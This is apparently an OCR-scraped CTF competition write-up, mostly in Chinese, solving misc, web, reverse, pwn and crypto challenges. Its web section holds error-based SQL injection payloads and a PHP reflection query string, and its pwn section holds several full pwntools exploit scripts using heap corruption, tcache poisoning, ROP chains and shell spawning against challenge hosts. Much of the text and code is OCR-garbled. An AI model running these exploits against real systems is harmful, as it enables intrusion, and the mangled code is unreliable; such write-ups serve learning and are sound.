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eTe® M tiny_traffic(1).pcapng

Am @ BN RE QenzF s E T

A EREFREEN . <X = -+
Na. Time Source Destination Protocol Length Info 3
r 1 @.0ae008 192.168,2.141 239.255.255.250 S5DP 179 M-SEARCH = HTTP/1.1 — '
| 2 2.486211 192,168, 2,205 224,9.0.251 MONS 136 Standard gquery 0x0080 PTR _companion=11nk
i 1 2.487445 feBO::cad:16dd:5b:.. ff@2::fb MDNS 158 Standard gquery @x0@8@ PTR _companion-link
4 6.318722 BeijingX_c9:ed:28  IntelCor_Bl:da:94  ARP 68 Who has 192.168.2.1417 Tell 192.168.2.1
5 6.318739 IntelCor_81:da:94 BeijingX_c9:ed:28 ARP 42 192,168.2.141 is at 34:de:la:81:da:94 —
i 6 7.837198 23,32,236.8 192,168.2.141 TLSvl. 188 Application Data T
| 7 7.837199 23.32.236.8 192,168.2.141 TLSv1. 85 Encrypted Alert —_
| 8 7.837273 192,168, 2.141 23,32,236.8 TP 54 57525 - 443 [ACK) Seqel Ack=78 Win=511 Le—

| 10 7.838138 192.168. 2,141 23,32.236.8 TCP 54 57525 - 443 [ACK] Seq=1l Ack=79 Win=511 Le
| 11 9,197a76 192,168,2.193 192,168.2.141 55H 114 Server: Encrypted packet (len=6@)

| 12 9.197238 192.168.2.141 162,168.2.193 55H 98 Client: Encrypted packet (len=36)

i 13 9.199434 192.168.2.193 192.168.2.141 TCP GO 22 < 57377 [ACK] Seqe=G1 Ack=37 Win=5@1 Le
| 14 18.515395 fdb: fdle:307a:8:4.. fdbd:fdle:d8Ta:: DS 93 Standard query BxBcdd A www, baidu.com

| 15 18.570559 fdbd: fd3e:307a::1 fdb@: fd3e:307a:0:4. DNS 155 Standard query response Bx@cdd A www.baid

Frame 1: 179 bytes on wire (1432 bits), 179 bytes captured (1432 bits) on interface \Device\NPF_{EACB3631-C5DA-42F7-BOGI-CEI
Ethernet II, Src: IntelCor_B81:da:94 (34:de:la:81:da:94), Dst: IPvdmcast_7f:ff:fa (01:00:5e:7f:ff:fa)

Internet Protocol Version 4, Src: 192.168.2.141, Dst: 239,255.255.250

User Datagram Protocol, Src Port: 62288, Dst Port: 1988

AR SCH AR B #ik, BATE S HhttpXf R

Time | Source Destination Protacol | Lengtt Info

10000 g 0 @ Wireshark - Bii - HTTP HRFIH

2 2.481

3 2.

4 631 MAEEE: | | Content Type: Al Content-Types /&)

5 6.3

6 7. i - THE L . X 8

7 7. 19262 192.168.2.1 applicationfjson 45 bytes 716197966556586

8 19309 192.168.2.1 textfjavascript 67kB ui.jsTv=git-21.068.01495-fcf7bd1
19316 192.168.2.1 textfjavascript 4102 bytes rpc.js?v=git-21.069.01495-fcf7bd1
193568 192.168.2.1 textfjavascript ATKB form.js?v=git-21.069.01495-fci7bd1
19367 192.168.2.1 applicationfjson 477 bytes  71619796556586
19387 192.168.21 textfjavascript 7947 bytes  uci.jsTv=git-21.068.01485-fcf7bd1
189417 192.168.2.1 textfjavascript 13kB validation. js?v=git-21,069.01496-fcf7bd1
19418 192.168.2.1 textfjavascript 3721 bytes  fs.|s?v=git-21.069.01495-fc{7bd1
19422 192.68.2.1 applicationfjson 250 bytes  71619796556779
19680 192.168.2.1 applicationfjson 830 bytes 71619796566779
19696 192.168.2.1 applicationfjson 1567 bytes  71619796556891
19726 192.168.21 applicationjoctet-stream 15kB favicon.ico
19937 192.168.2.1 applicationfjson 56 bytes 71619796556891
20248 192.168.2.1 applicationjoctet-stream BB08 bytes argon.wolf?vncylf
20390 192.168.2.193:5000 text/html 12 bytes I/
20408 192.168.2.193:5000 text/html 232 bytes  favicon.ico
20648 192.168(2.193:5000 gzip 27 bytes flag_wrapper
20828 192.168{2.193:5000 gzip 27 bytes flag_wrapper
21118 192.168{2.193:5000 br 185 bytes  test
21615 192.168{2.193:5000 br 61 bytes secret

3 98 5 Help Previe savenl [ EEEE)  save

0 a5 2
ff fa 3 ou
13 4R 204 7a 74 4

AAER], FIREBEEAgZpMbrty, Gzip—f K ORI B2 —ANES Unix B —FSCHHR RS4RI , BRI
R FBrotli (—FFFIREIE E4EE) E4EK 4
S HREXIX LA gzipFbr s R E4E, 5B B flag_wrapper

¢ u flag_wrapper.gz - GZIP archive, unpacked size 7 bytes

Name Size Packed Type Modified CRC32
R =
[ flag_wrapper 7 17 3 2021/4/30 23:22 AEB1A480

8 view - flag_wrapper
File Edit View Help
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FHEA LR A
/95:
& Etestflsecret

testbr & FEREAN B 8
test 185

T test - {2k - ] ®
XHHF) SIB(E) WL(0) BE(V) WRH)
syntax = "proto3";

message PBResponse {
int32 code = 1;
int64 flag_part_convert_to_hex_plz = 2;
message data {
string junk_data = 2;
string flag_part = 1;
}
repeated data datalist = 3;
int32 flag_part_plz convert to hex = 4;
string flag_last_part = 5;
}

message PBRequest {
string cate id = 1;
int32 page = 2;

2 int32 pageSize = 3;

I}

Xttestif] A B AT EK T

A=

Protocol Buffer@GooglefIiEE I, FEHIUN, A BN, BTFFFICSHREREE - 3
EEXML, B\, EfR, EEE. SrbEXBENERL, ASTUERSRERNFREER
WEEREERPFERAEMESRENRDSHLRIE.

it Esecretls
v s ! ) - = it ' r— g 1 IR
B ® e W 5 E ALY 48] mib D 8 55 S8 San
secret
Offsec 0 1 2 3 4 5 6 7 8 %« A B C D E F ANSI A I
Q00000000 §8 C8 01 10 A2 D4 95 07 1A OE OA 05 65 32 33 34 F elm e234

Q0000010 '35 12 05 37 61 66 32 €3 1A OF OA 06 37 38 38 3% 5 Tafic -3
00000020 &2 30 12 05 38 32 62 €3 30 20 C6 A2 EC O7T 2A 059 b0 82bcO Eei *
00000030 64 31 37 32 61 33 38 64 &3 dl72a3Bdc



TIPSR, FATIFE W =2 H) H protobuf P 5IL J5 15 21 1 test

Selc Eproto3# %, GitHubR L FER, 234 protobuffiiii:

pip3 install protobuf

Brtest3r 4N b )5 4345 Bltest.proto , ¥ 5) FProtocol Buffers HibinE 3%, ¥fsecretti#5hFbinH 3
iz47: \protoc.exe --python_out=.\ test.proto

8 3test_pb2.py

EMNRFHMA

import test_pb2

with open('./secret','rb') as f:
data = f.read()
target = test_pb2.PBResponse()
target.ParseFromString(data)
print(target)

pythoniz 17

A LLE BN E LA R Mag_part® EhexiEi— T, #iEIRGFHE—Tfag
Bl: CISCN{e66a22e23457889b0fb1146d172a38dc}

fEE 5 B2 —/NGIF3)E
I F ffmpeg 2315

ffmpeg -i ./running_pixel.gif ./photo1/%d.png



ffapeg -1 ./running pixel .gif ./photol/%d.png

log.csdn.net/m0_4

19303825k E I+
—K—KRITRETE, KABIREHE R ERDSBREBRE TEBRKgbA (233, 233, 233)

M1~ 374.png Q) o]

¥ A RKRGBE 4(233,233,233), FKEEANENR A, REEFER—KE N

from PIL import Image

t = Image.new('L', (400,400))
for i in range(382):

g = Image.open(str(i)+'.png").convert("RGB")

m,n = q.size

for a in range(n):

for b in range(m):
if q.getpixel((b,a)) == (233,233,233):
t.putpixel((a,b),255)

t.save('./ "+str(i)+'.png")



— -y

— photol B 368.png
£ running_pixel.gif B 369.png
tupian.py B 370.png
W 371.png

B 372.png

B 273.png

W 374.png

B 375.png

B 376.png

B 377png

£ 378.png

B 379.png

B 380.png

B 381png

[] 382.png

point.py

BHmohiE, B EMZRMEBER T, — K —RATERESEINE - NMERZERFEIMKINT, id Tk, CISCN{12504D0F-
9DE1-4B00-87A5-A5FDD0986A00}, ZikiR3s, KIHIR, SN Htxt T CISCN{12504d0f-9de1-4b00-87a5-
a5fdd0986a00}

B 2= 45 1
HRIE X2 A fHLuat FIPDURTS

PDU% 5 5
KIVEXA R AT s nE, SHA, ZXJUTERBRXAREE, FHilEReREEEr, 7FRBENMEA

const fs = require("fs");
const data = fs.readFileSync("a.txt").toString().split("\n").slice(4);
let da = [];

data.forEach((v) => {
const data = pduDecoder(v);
const d = data.find((v) => v.startsWith("User Data\t")).slice(10);
let t = data.find((v) =>
v.startsWith("(hideable)Service Centre Time Stamp\t")
).slice("(hideable)Service Centre Time Stamp\t".length);
t = new Date(t)
da.push([d, t]);
})s

da = da.sort((a, b) => a[1] - b[1]);

console.log(da.map(v=>v[@]).join("'"))

P LA & 111500+1Tjs 19 Rljsfil A, #2752 —KpngE F Hhex, HEI010EHS Rlpng

LRI R TR, IR 2 — FFEA ) wae5 R 5 465, 783 —TKpngS Txx_b586_4c9e_b436_26def12293e4
i 83 B — FF G IR B Y B 15 1503044 2iE 2R 15 3 -

CISCN{15030442_b586_4c9e_b436_26def12293e4}


http://www.sendsms.cn/pdu/

Web

easy_sql

TR ERIRE

hitps://blog.csdn.net/m0_4

R & mA—A 855, s

W RS BT AE RsqliE A2 B ) A& 8, IMEIK, RIWFELIE, fuz— THSIEERARTA

Aftack Save Columns

Hhmﬂi!ml?mﬂ!mi

[m ] 2
Request | Payload | Status | Emor iT'-lﬂ - Length .“:—.-

3 INFORMATION 200 a a 1120 [&]
ES COLUMN 200 a O [0 'J
58 unian 200 o o 1120

v UNION 200 o g 1120

13 COLUMN 200 a g 1120

125 information_schema tables 200 (] 2 1120

178 sys schemma 200 (] B 1120

1.1 sys.schema_table_statistics_with 200 (] - 1120

T Tength 00 ] = ST

2 + 200 a o 1153

3 handler 200 (] J 1153

4 like 200 ] g 1153

5 select 200 o o 153 :
'l flaam & .1 = | L '._ AED | .

<fdiv> T

<fdiv>

</body>

<htmi>



» » O matches

Finished

5k P R B8 VAN 7T LAAS B B9 P 45 H9security

{f Fsqlimapifi g R BB K, & NusersHiflag, flaghfEusers®, FEMENag®+, H Finformationfimysql#lidsig, W LAf#
A& K77 RE 4.
admin’)and multipoint((select * from (select * from flag as a join flag as b)as c));#

B2E— A7 BONId

admin’)and multipoint((select * from (select * from flag as a join flag as b using(id))as c));#

BEIE —AFBANo

al

admin’)and updatexml(1,concat(0x7e,(select*from (select * from flag as a join flag b using(id,no))c),0x7e),1)#
B35 =/ 7B h883f62d8-9d3a-472b-9efb-f2cd6ddf010f

Sqlmap #4 5 #188362d8-9d3a-472b-9efb-f2cd6ddf0 10 B i 1 25

Bl B Windows PowerShel = a x

1L ] table 'security.flag' dumped to CS5V file

ecurity\flag.csv'
[ I ] fetched da sgged to text files

[*] ending @ 17:57:54 /2 5/

PS D:\hack\web attack\sqlif A\sqlmap-master> pythonl



is the end user’
e not respon

dn.net/m0_

€ G @ U & 124704583 b + I @
E)sAEE. BXEESES @ WEEE B mEsit (7 MSDN, BEREE-8

{RAEREIFEIS

RIVFAE & 3L .index.php.swo
i i http://124.70.45.83:22036/.index.php.swo 8 EI A

return ++self::§c;

function q()



{
}

return ++self::§c;

function r()

{
}

return +self::8c;

function s()
{

return ++self::8c;

function t()

{
}

return ++self::8c:

}

$re=3_GET["rc"]:

$rb=% GET["rb"]:

$ra=$ GET["ra"];
$rd=$_GET["rd"];

$method= new $rc($ra, $rb);
var_dump ($method->$rd ()} ;

WA, BllflagfEyEBEd, B30 LEEphp R ETHLE], FRECCRYER
R epayload A -

?rc=ReflectionMethod&ra=User&rb=q&rd=getDocComment

<> C 0 0 & 12470.4583:22036/7rc=ReflecionMethodBira= Userfirb=qfrd= Bl -~ & + N D ® Q9 s 0 & =
@EANE. | B ANEANA & NFLR B MR [T MSON Eawe - 8 B M O ianiam L
{RREETIGstring(152) */** * Increment counter * * @final * @static * @access p‘ub{oscnmpasz-smu-N?axr-m\ms-aumk-l * @return int */*

middle_source



B3, B3—listingf e

Vi, K¥lyou can seeeeeeee_me.php

total 1€ drwxr-xr-x 1 root root 4096 6 06:02 . -xr-x 1 root root 40596 Sep 22 2016 .. -zw-r--z-- 1 root root 257 Apr 29 1l1:46 index.php -rw-r--
r-- 1 root root 19 Apr 29 10:5]1 you_can_seesscess me.php

5 Flphpinfo, & Msession - {R7F I B 42 A/varllib/php/sessions/egbjfcahga

€5 @@ |0 & 12070458322090y0u con secceceee mephp B -850  LMODEnSO0en

htpsEloaceamnet oD

Phphii447.4.3, 5187 fEsessionSC A&
PHP_SESSION_UPLOAD_PROGRESSk#]#fiftsession, H&H bA& U115 BidFEsessionsChd, X4 R EERFHE

EAE S BisessionsCft, B LAME AR SR 07 ORI B %35 4+ 1 B B 245 R
B H R T flagfEletcHFE T



io
requests
threading

sI0(b'a

ion.post{url,

rut session.post(url,
‘moyl.txt rut.text
rut.text)

event.clear()

__name__
s SuUULU
> subuid
» sysctl.conf
> sysctl.d
syst
» terminfo
» timezone
» tmpfiles.d

hitps://bl EJg.[:Sdl’1.[1?[‘.-’[1’]0__*—'!5_48 1 zd&-i

AEE T —E B, &&HKIletc/jefgccdeceliifgcejhed/bdfbghiaeg/cdfecaaach/idahceeidc/fl444444g

f# FreadfileiziX, 7%%|flag

threading

—MNAmE__

session request

write threading . T
W AR S IS, S
cbr fx</span><span style
</span»
</code>your flag is in s
3B|e:5:(s:10 t_t
;acli{i:@;a:7:{
H 19;s5:15

File "C:\Users'gwt'\Doc

Reverse

glass

HSewi R RCA+H B 7 5N
B Enative, RBEHALT:

8;s:
blog

4

WL

:515.;15]-:2!935"!1‘0—464'31239




from Crypto.Cipher import ARC4

re = [OxA3, Ox1A, OxE3, 0x69, Ox2F, OxBB, Ox1A, 0x84, 0Ox65, 0xC2, OxAD, OxAD, Ox9E, 0x96, Ox05, 0x02, Ox1F, Ox8E

, 0x36, Ox4F, OxEl, OxEB, OxAF,

F9, 0x98, Ox3F]

key
rc4

b"12345678"
ARC4 .new(key)

key = list(key)
for i in range(39):
res[i] ~= key[i % 8]

for i in
tmpo
tmpl
tmp2

re[i] =
re[i+2]
re[i+1]

print(rc4.decrypt(bytes(res)))

baby bc

range(@, 39, 3):
res[i]
res[i+1]

res[i+2]
tmpl ~ tmp2

tmp@ ~ res[i]
res[i+2] »~ tmp2

OXFO, OXEA, OxC4, OxA8, Ox2D, 0x42, OxC7, Ox6E, Ox3F, OxBO, OxD3, OxCC, Ox78, Ox



%6 H clang 4a %01
clang baby.bc -0 baby

clang baby.bc -o baby

Jlog.csdn.net/im0_4648

)5 FIDA R 4 ¥ i baby 314
= w;
return v7 & 1;
}
if ( byte_602071[4 * v5] == 1)
{

if ( (unsigned _ints)map[5 * v5 + 1] < (unsig int8)map[5 * v5 + 2] )
gote LABEL_27;

}
else if ( byte_&@2071[4 * ] == 2 B8 ( 1 gned t8)map[5 * +1] > ( 1gne t8)map[5 * + 2]
goto LABEL_27;

}
if ( byte_602072[4 * v5] == 1)

if ( (unsigr t8)map[5 * + 2] < ( B t8)map[5 * +3])
goto LABEL_27;
}
else if ( byte_602072[4 * v5] == 2 8& ( i t8)map[5 * + 2] » ( L nté)map[5 * + 3]
{

goto LABEL_27;
}
if ( byte_602673[4 * V5] == 1 )

if ( (unsigned __int8)map[5 * + 3] < ( gne nt8)map[5 * + 4] )
goto LABEL_27;

}
else if { byte_682073[4 * v5] == 2 B& (unsigned _ int8)map[5 * v5 + 3] » (unsigned _ int8)map[5 * v5 + 4] )

gote LABEL_27;
}

RIEH AT R HZ3E A



z3 import *
from hashlib import md5

row = [[Ox00, Ox00, 0x00, Ox01],[0x01, Ox00, Ox00, Ox00], [0x02, Ox00, 0x00, 0x01],

X01, 0x00, 0x01, 0x00]]

[0x00, Ox00, Ox00, 0x00], [0

col = [[0x00, 0x00, Ox02, Ox00,0x02], [0x00, Ox00, Ox00, 0x00, Ox00], [Ox00, Ox00, 0x00, Ox01l, 0x00], [0x00, OxO

1, 0x00, 0x00, 0x01]]
s = Solver()

map = [[Int("x%d%d"%(i, j)) for i in range(5)] for j in range(5)]
print(map)
s.add(map[2][2] == 4)
s.add(map[3][3] == 3)
for i in range(5):
for j in range(5):
s.add(map[i][j] >= 1)
s.add(map[i][j] <= 5)
for i in range(5):
for j in range(5):
for k in range(j):
s.add(map[1][J] != map[i][k])
for j in range(5):
for i in range(5):
for k in range(i):
s.add(map[i][]j] != map[k][3]1)
for i in range(5):
for j in range(4):
if row[i][j] == 1:
s.add(map[i][7]
elif row[i][]j] == 2:
s.add(map[i][7]

> map[i1][j+1])

< map[i][j+1])
for i in range(4):
for j in range(5):
if col[i][]] == 2:
s.add(map[i][j]
elif col[i][j] == 1:
s.add(map[i][j]

> map[i+1][]])
< map[i+1][3])

answer = s.check()
print(answer)
if answer == sat:
print(s.model())
m = s.model()
flag = []
for i in map:
for j in 1i:
flag.append(m[j].as_long())
for i in range(len(flag)):
flag[i] += 06x30
flag[12] = 0x30
flag[18] = 0x30
flag = bytes(flag)
print(flag)

print(md5(flag).hexdigest())

Pwn



Write# 55, ESEWREGAHEH N0, HMETERMERS.
from pwn import *

p = process("./pwny")
#p = remote("",)

.recvuntil("Your choice: ")
.sendline(str(2))
.recvuntil("Index: ")
.sendline("256")

.recvuntil("Your choice: ")
.sendline(str(2))
.recvuntil("Index: ")
.sendline("256")

.recvuntil("Your choice: ")
.sendline(str(1))
.recvuntil("Index: ")
.send(pb4(OxFfffffffffffffe7))
p.recvuntil("Result: ")
libc_base=int(p.recvline()[:-1],16)-0x80aa0
print("libc_base:"+hex(libc_base))
exit_hook=1ibc_base+0x619f68
gadget_addr=1ibc_base+0x10adlc
environ_addr=1ibc_base+0x3ee098

p
p
p
p
p
p
p
p
p
p
p
p

print("environ_addr:"+hex(environ_addr))
p.recvuntil("Your choice: ")

p.sendline(str(1))

p.recvuntil("Index: ")
p.send(p64(Oxfffffffffffffffs5))
p.recvuntil("Result: ")
base_addr=int(p.recvline()[:-1],16)-0x202008
print("base_addr:"+hex(base_addr))
p.recvuntil("Your choice: ")

p.sendline(str(1))

p.recvuntil("Index: ")
p.send(p64((environ_addr-base_addr-0x202060)//8))
p.recvuntil("Result: ")
ret_addr=int(p.recvline()[:-1],16)-0x120
print("ret_addr:"+hex(ret_addr))

.recvuntil("Your choice: ")

.sendline(str(2))

.recvuntil("Index: ")
.sendline(str((ret_addr-base_addr-0x202060)//8))
.send(p64(gadget_addr))

p
p
p
p
p
p.interactive()



'1. read\n’

‘2. write\n'
‘3. exit\n'’
'Your choice: '

] Sent 0x2 bytes:
‘2\n*

] Received 0x7 bytes:
'Index: '

] Sent Oxe bytes:
'5861122086097\n’

] Sent 0x8 bytes:
00000000 71
00000008

[*] Switching to interactive mode
cat flag
[ ] Sent 0x9 bytes:
‘cat flag\n'
[ ] Received 0x26 bytes:
'CISCN{RajPz-EdJOx-0QmJc-bOLCb-YUWVP-}\n"
CISCN{RajPz-EdJOx-0QmJc-bOLCb-YUWVP-}

6a

[*] Interrupted
[*] Closed connection to 124.70.45.83 port 22374

Gamewp

B RN ASFBBAT, #HhshRcache®. ROP#TORW

0x100 bytes:
49 53 43 4e

] Received
00000000 43
- | RX6X]|
00000010 72 2d 78 4e 62
j | X-rG|
00000020 71 77 56 2d 7d

00000030 48
|
00000040
ul
POOOOO50
u--|
slels]sle1s]+]5]
p-2 |
000006670

*

00000100
CISCN{b0JIs1-RX6Xr-xNbnk-cczjX-rGqwv-}

7b 62 4Ff 4a 73 6¢c 2d

6e 6b 2d 63 63 T7a 6a

48 31 48

hitps://blog.csdn.net/m0_46481239

52 58 36 58 |CISC N{bo|3Jsl

58 2d 72 47 |r-xN|bnk-|ccz

|qwv- |} H1

Hl\xcﬁl\xGS\xc?\xc?x@ﬂ\xﬂﬁ\xBQ\xeﬁH\xc?\xc@x@ﬂ\xﬂﬂ\xGS\xﬂo)\xbf\xce\xfe\x?f\x

from pwn import *
from ctypes import *

p=process("./game")
libc=cdll.LoadLibrary("./1ibc-2.27.s0")

H#n—roamntal"124 70 AR Q2" 22227\
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height=0x20
wide=0x10

def sendcmd(cmd):
p.recvuntil("cmd> ")
p.send(cmd)

def setup(l,w):
cmd="w:"+str(w)+"\nl:"+str(1)+"\nop:1\n\n"
sendcmd(cmd)

def addnode(idx,size,info):
cmd="id:"+str(idx)+"\ns:"+str(size)+"\nop:2\n\n
sendcmd(cmd)
p.recvuntil("desc> ")
p.send(info)
return [libc.rand()%wide,libc.rand()%height]

def delete(idx):
cmd="id:"+str(idx)+"\nop:3\n\n"
sendcmd(cmd)

def show():
cmd="op:4\n\n"
sendcmd(cmd)

def down(idx):
cmd="1id:"+str(idx)+"\nop:5\n\n"
sendcmd(cmd)

def up(idx):
cmd="1id:"+str(idx)+"\nop:6\n\n"
sendcmd(cmd)

def left(idx):
cmd="id:"+str(idx)+"\nop:7\n\n"
sendcmd(cmd)

def right(idx):
cmd="1id:"+str(idx)+"\nop:8\n\n"
sendcmd(cmd)

def move(idx,x1,yl,x2,y2):
if(x1 > x2):
for i in range(x1l - x2):
left(idx)
elif(x1 < x2):
for i in range(x2 - x1):
right(idx)
for i in range(y2 - y1):
up(idx)

setup(height,wide)
addnode(1,0x4f0,"a")
addnode(2,0x1f0,"a")
delete(1)
addnode(1,0x90,"a" * 8)
show()



p.recvuntil("a" * 8)
libc_base=u64(p.recvuntil(b"\x7f")[-6:].1just(8,b"\x00")) - ©x3ebe30
syscall_addr=1libc_base+0xE5995
environ_addr=1ibc_base+0x3ee098
pop_rdi=libc_base+0x2155f
pop_rdx_rsi=libc_base+0x130889
pop_rax=1ibc_base+0x43a78
delete(1)
addnode(1,0x100,"a")
addnode (4,0x200,"a")
delete(1)
for i in range(6):
x2=1
y2=0x21
idx=environ_addr%0x100
environ_addr=environ_addr // 0x100
pos=addnode(idx,0x110, "test")
x1=pos[0]
yl=pos[1]
move (idx,x1,yl,x2,y2)
delete(idx)
addnode(1,0x100,"a")
addnode(3,0x100, "a")
show()
p.recvuntil("3:")
p.recvuntil(") ")
stack_addr=u64(p.recvuntil(b"\x7f")[-6:].1just(8,b"\x00")) - ©x509
ret_addr=stack_addr

delete(1)
delete(4)
for i in range(6):

x2=1i

y2=0x32

idx=stack_addr%ex100

stack_addr=stack_addr // 0x100

pos=addnode(idx,0x110, "test")

x1=pos[0]

yl=pos[1]

move (idx,x1,yl,x2,y2)

delete(idx)
addnode(1,0x200,"a")
rop=p64(pop_rdi)+p64(ret_addr+0xc0)+p64(pop_rdx_rsi)+p64(0) * 2+p64(pop_rax)+p64(2)+p64(syscall_addr)+p64(pop_rd
i)+p64(3)+p64(pop_rdx_rsi)+p64(0x100)+p64(ret_addr+0xc0)+p64(pop_rax)+p64(0)+p64(syscall_addr)+p64(pop_rdi)+p64(
1)+p64(pop_rdx_rsi)+p64(0x100)+p64(ret_addr+0xcO)+p64(pop_rax)+p64(1)+p64(syscall_addr)+b"./flag\xee"
addnode(3,0x200,rop)

p.interactive()

#coding=utf-8
import os

import sys

from pwn import *

context.arch = 'amd64'



#context.arch = "i386°
context.terminal = ["tmux', ‘'splitw', '-h']
context.log level='debug'

db_t = lambda : raw_input()

rl_t = lambda : p.recvline()

ru_t = lambda s: p.recvuntil(s)

sl t = lambda s: p.sendline(s)

sd_t = lambda s: p.send(s)

sa_t = lambda s1, s2: p.sendafter(sl, s2)

sl_ta = lambda sl1, s2: p.sendlineafter(sl, s2)

heap = lambda s : success("heap_addr -> " + hex(s))
leak = lambda s1, s2: success(sl + "->" + hex(s2))
base = lambda s: success("libc_base -> " + hex(s))
stack = lambda s: success("stack_addr -> " + hex(s))

def init():

global p

global elf

global libc

execve = "./lonelywolf"

elf = ELF(execve)

if sys.argv[1l] == '2":
p = process(execve)
libc = elf.libc

if sys.argv[2] == '1":
gdb_t.attach(p)

if sys.argv[1l] == '0"':
ip = "124.70.62.4"
port = "26468"

p = remote(ip, port)

def pwn_s():

def add(size):
p.sendlineafter("Your choice: ", '1")

p.sendlineafter("Index: ", '@')

p.sendlineafter("Size: ", str(size))

def edit(content):
p.sendlineafter("Your choice: ", '2")

p.sendlineafter("Index: ", '@')
p.sendafter("Content: ", content)

def show():
p.sendlineafter("Your choice: ", '3")

p.sendlineafter("Index: ", '@')

def free():
p.sendlineafter("Your choice: ", '4")

p.sendlineafter("Index: ", '@')



add(0x68)

free()
edit('aaaaaaaaaaaaaaaaaa’' + '\n')
free()

for i in range(10):
add(ex78)
edit(p64(0x21)*2*7 + p64(0x21))

add(0x78)
edit(p64(0x21)*2*7 + p64(8x21))

for i in range(6):
free()
edit(p64(0x21)*2*7 + p64(0x21))

free()
show()

ru_t("Content: ")
heap_leak = u64(p.recvline()[:-1].1just(8, '\x00'))
leak("heap_leak", heap_leak)

add (0x68)
edit(p64(heap_leak - Ox570 + ©x20) + '\x00'*0x10 + p64(Ox501) + '\n')

add(0x68)
add(0x68)
free()

show()

ru_t("Content: ")

libc_leak = u64(p.recvline()[:-1].1just(8, '\x00'))
leak("libc_leak", 1libc_leak)

libc = ELF("./libc-2.27.s0")
libc_base = libc_leak - (@x7faa8256dca® - 0x7faa82182000)
leak("libc_base", libc_base)

#tcache bin attack
add(0x78)
edit(p64(libc_base + libc.sym['__free_hook']) + '\n'")

add(0x78)
add(0x78)

one = [@x4f3d5, Ox4f432, 0x10adlc]
edit(p64(libc_base + one[2]) + '\n")

add(0x58)
edit('/bin/sh\@' + '\n")
free()

p.interactive()

if __name__ == '_main__':
init()
pwn_s ()



Crypto
RSA
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https://weichujian.github.io/2020/05/27 /rsa%ES5%B7 %B2%E7 %9F %A5%E9%AB %98 %E4 %BD %8D %E6%94%BB %E5%87%B
B1/

https://github.com/comydream/CTF-

RSA/blob/608ec29dc363ca534522c1a899cc86b0ffb1ec95/%ES5%8A %A0%ES%AF %86 %E6%8C %87 %E6%95%B0/copperS
mith%E9%83%A8%E5%88%86 %E4%BF %A1%E6%81%AF %E6%94%BB%E5%87%BB/rsa2.sage
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p_3 = 7117286695925472918001071846973900342640107770214858928188419765628151478620236042882657992902

n = 113432930155033263769270712825121761080813952100666693606866355917116416984149165507231925180593860836255402
9503583274224473592006895372175285476236915860089526190638468018298026374488744512289576357075539802106859852158
87107300416969549087293746310593988908287181025770739538992559714587375763131132963783147

bits = 512

kbit = bits - p_3.nbits()
print p_3.nbits()

p_3 = p_3 << kbit

PR.<x> = PolynomialRing(Zmod(n))
f=x+p_3

x0 = f.small _roots(X=2"kbit, beta=0.4)[0]
print "x: %s" %hex(int(x®@))

p = p_3+x0
print "p: ", hex(int(p))
assert n % p ==

q = n/int(p)

print "q: ", hex(int(q))
JETH LR B M RSARE R, 33

b\nO wild West Wind, thou breath of Autumn’s being,\nThou, from whose unseen presence the leaves dead\nAre driven, like ghosts
from an enchanter fleeing,\nYellow, and black, and pale, and hectic red,\nPestilence-stricken multitudes: O thou,\nWho chariotest to
their dark wintry bed\n’
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https://weichujian.github.io/2020/05/27/rsa%25E5%25B7%25B2%25E7%259F%25A5%25E9%25AB%2598%25E4%25BD%258D%25E6%2594%25BB%25E5%2587%25BB1/
https://github.com/comydream/CTF-RSA/blob/608ec29dc363ca534522c1a899cc86b0ffb1ec95/%25E5%258A%25A0%25E5%25AF%2586%25E6%258C%2587%25E6%2595%25B0/copperSmith%25E9%2583%25A8%25E5%2588%2586%25E4%25BF%25A1%25E6%2581%25AF%25E6%2594%25BB%25E5%2587%25BB/rsa2.sage
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